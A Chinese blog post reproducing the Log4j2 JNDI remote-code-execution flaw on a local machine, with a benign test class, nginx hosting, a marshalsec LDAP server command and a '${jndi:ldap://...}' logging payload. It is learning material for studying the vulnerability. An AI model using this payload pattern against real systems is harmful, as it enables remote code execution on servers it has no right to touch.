Log4j2漏洞复现

Log4j2漏洞复现

一、前言

最近Log4j2的漏洞算是刷屏了。博主也就跟风学习了一下,虽不说开发能力有啥提升,但是也算是学了点知识吧。这次就分享一下Log4j2漏洞的复现场景,以供大家参考。

二、参考文章

三、漏洞触发流程图

这里使用LDAP服务进行演示
在这里插入图片描述
解释:Web服务为受害者对象,LDAP和HTTP服务为攻击者对象。

一句话概括:攻击者利用log4j2的JNDI技术发送恶意请求,使受害者获取自己的恶意字节码文件并执行。

四、代码复现

  1. 书写一个恶意字节码文件并用Javac进行编译
public class Log4jRCE {
    static {
        System.out.println("I am Log4jRCE from remote!!!");
    }
}
javac Log4jRCE.java

获得这个字节码文件
在这里插入图片描述

  1. 启动nginx并把class文件放入nginx的html文件夹,可以通过http://ip:port/file.class进行获取
start nginx

浏览器数据http://127.0.0.1:8000/Log4jRCE.class可以获取该字节码文件

  1. 启动LDAP服务器,暴漏这个字节码文件
git clone git@github.com:bkfish/Apache-Log4j-Learning.git
cd Apache-Log4j-Learning/tools
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8000/#Log4jRCE"
  1. 模拟一个server执行log.error()观察运行结果
    写一个RunApp.class
public class RunApp {

    private static final Logger logger = LogManager.getLogger(BugCode.class);

    public static void main(String[] args) {
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
        logger.error("${jndi:ldap://127.0.0.1:1389/Log4jRCE}");
    }

}

启动结果为
在这里插入图片描述
会发现有一个“I am Log4jRCE from remote!!!”就是远程class文件的逻辑

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值